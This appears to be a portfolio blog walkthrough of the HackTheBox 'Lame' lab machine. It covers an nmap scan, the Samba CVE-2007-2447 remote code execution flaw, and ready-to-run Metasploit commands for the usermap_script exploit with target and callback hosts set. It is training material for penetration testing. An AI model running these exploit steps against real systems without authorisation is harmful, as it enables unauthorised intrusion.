Portfolio
HomeProjectsBlogContact

HackTheBox: Lame Machine Walkthrough

Complete walkthrough of the Lame machine on HackTheBox. Learn about Samba vulnerability exploitation and privilege escalation techniques.

# HackTheBox: Lame Machine Walkthrough ## Introduction The Lame machine on HackTheBox is one of the most popular beginner machines. It teaches fundamental penetration testing concepts including network enumeration and exploitation of known vulnerabilities. ## Reconnaissance First, we perform a network scan to identify open ports: ```bash nmap -sV -p- 10.10.10.3 ``` ## Vulnerability Discovery The machine is running Samba with a known vulnerability (CVE-2007-2447). This vulnerability allows unauthenticated remote code execution. ## Exploitation Using the Metasploit framework, we can exploit this vulnerability: ```bash msfconsole use exploit/linux/samba/usermap_script set RHOSTS 10.10.10.3 set LHOST 10.10.14.x exploit ``` ## Post-Exploitation After gaining initial access, we can escalate privileges and read the flag. ## Key Learnings - Importance of service enumeration - Understanding known CVEs - Proper exploitation techniques - Privilege escalation methods